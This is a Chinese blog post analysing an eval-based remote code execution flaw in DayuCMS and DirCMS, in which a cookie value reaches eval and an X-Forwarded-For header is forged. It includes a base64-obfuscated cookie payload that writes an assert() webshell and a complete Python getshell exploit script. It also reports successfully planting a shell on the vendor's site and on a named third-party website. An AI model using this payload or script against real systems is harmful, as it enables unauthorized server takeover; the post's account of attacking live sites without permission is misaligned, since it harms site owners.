DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC

  • A+
所属分类:漏洞时代
摘要

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
DayuCMS可能参考了DirCMS的代码,这两个CMS代码几乎类似。本文只分析DayuCMS

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
DayuCMS可能参考了DirCMS的代码,这两个CMS代码几乎类似。本文只分析DayuCMS

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。

影响版本

DayuCMS目前所有版本(最新1.526版本及以下)
DirCMS所有版本(已经不更新了)

/pay/order.php

$payobj=new pay();  $action=isset($action)?$action:'step1'; session_start();  $cookiekey=dayucms_md5('productarray'.IP); $productarray=string2array(get_cookie($cookiekey));

上面代码中的IP声明在include/common.inc.php

define('IP',getIp());

include/global.func.php

// 获取IP地址 function getIp() {     $ip='未知IP';      if(!empty($_SERVER['HTTP_CLIENT_IP']))     {         return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;     }     elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))     {         return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;     }     else     {         return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;     } }

发现ip可以利用X-Forwarded-For伪造。

include/global.func.php

function dayucms_md5($str) {     return substr(md5($str),8,16); }  // 字符串转换为数组 function string2array($str) {     if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');     if($str=='') return array();     if(is_array($str))return $str; // 2011-09-13  是数组的话直接返回     @eval("/$array = $str;");     return $array; }  function get_cookie($var) {     $var = COOKIE_PRE.$var;     return isset($_COOKIE[$var])?$_COOKIE[$var]:false; } 

string2array函数的正常用法是:

$tmp = 'array("hello"=>"world")'; $arr = string2array($tmp); var_dump($arr); //此时$arr就为一个数组

但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval("/$array = 1;echo 222;"); 导致代码执行。

可以发现,很多cms都有string2array这样的function。比如phpcms v9 /phpcms/libs/functions/global.func.php中237行。

function string2array($data) {     if($data == '') return array();     eval("/$array = $data;");     return $array; }

data/config.inc.php
在get_cookie函数中,COOKIE_PRE宏需要说明一下。

define('COOKIE_PRE', 'rNsg2Zrbzn'); //Cookie 前缀,同一域名下安装多套Dircms时,请修改Cookie前缀

在Dayucms代码中,居然出现了Dircms的字样,所以你们懂的 Orz..
当第一次安装,COOKIE_PRE值是固定的TEVqv2KtR5,以后安装都会随机变化。

很明显根据上面代码,我们可以知道这是一个任意代码执行。

但是为了保证在任何环境下都能利用该POC,所以需要伪造一个固定的ip,那就2.2.2.2吧。
首先先访问pay/order.php,得到COOKIE_PRE为rNsg2Zrbzn,不包括siteid

回到order.php,$cookiekey为060b8081c32887f8,这个值再拼接上COOKIE_PRE,作为新cookie的key即可。
DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC
接着用Modify Headers修改XFF为2.2.2.2
DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC
上文用2.2.2.2的ip已经算出$cookiekey为060b8081c32887f8,所以设置新cookie的key为rNsg2Zrbzn060b8081c32887f8,这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用,并且执行我们构造的代码。

新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
功能:生成JoyChou.php,内容为

<?php assert( $_POST[x] ); ?>

DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC
再次访问pay/order.php即可执行代码,生成shell
DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC
目前dayucms官网依然可以这样getshell

#coding:utf-8  import requests import sys import hashlib import urllib  __Author__ = 'JoyChou' __Date__ = '2015年5月27日 19:13:48'   def is_url_getshell(url):     order = url[-13:]     if order != 'pay/order.php':         print 'The url can not getshell...'         sys.exit()  def printinfo():     print '''     #######################################################     #                                                     #     #       Dayucms or dircms Getshell EXP                #     #       Version: dayucms <= 1.526 and all dircms      #     #       Blog: www.joychou.org                         #     #                                                     #     #######################################################         Usage:   exp.py url      Example: exp.py http://www.dayucms.com/pay/order.php      ''' def md5(str):     return hashlib.md5(str).hexdigest()  def dayucms_md5(str):     return md5(str)[8:24]  # param:  http://victim.com/upload/test.php   # return: http://victim.com/upload/ def spilit_url(url):     m = 0     for i in url[::-1]: #reverse url         m+=1         if i == '/':             break     url_spilit = url[:-(m-1)]     return url_spilit  def main(url):     ip = '2.2.2.2'     try:         r = requests.get(url)     except Exception, e:         print e         sys.exit()     cookie = r.cookies     # get cookie_pre from cookie of client request     for cookie_tuple in cookie.items(): # cookie.items() return a tuple         for key in cookie_tuple:              if 'siteid' in key:                 cookie_pre = key                 break;     cookiekey = dayucms_md5('productarray'+ip)     cookiekey = cookie_pre[:-6] + cookiekey      print 'X-Forwarded-For is: %s' % ip     print 'cookiekey which need to add is: %s' % cookiekey     print ''     false_headers = {'X-Forwarded-For': ip}          #   %3b is the urlencode of ;     #   ; must be replaced by $3b.  because in cookies, ; means that one cookie is over     #   shell password is x     shell = '1%3bfputs(fopen(base64_decode(c21pbGVudC5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))'     false_cookies = {cookiekey: shell, cookie_pre: '1'}     r = requests.get(url, cookies = false_cookies, headers = false_headers)      url_shell = spilit_url(url) + 'smilent.php'     r = requests.get(url_shell)     if r.status_code == 200:         print 'getshell success!'         print 'shell url is %s' % url_shell     else:         print 'getshell fail...'   if __name__ == '__main__':     printinfo()     if len(sys.argv) != 2:         print 'input error'         sys.exit()      is_url_getshell(sys.argv[1])      main(sys.argv[1])

DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC
百度powered by dircms测试下dircms,发现目标http://www.sywbs.com.cn/pay/order.php,getshell成功
DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: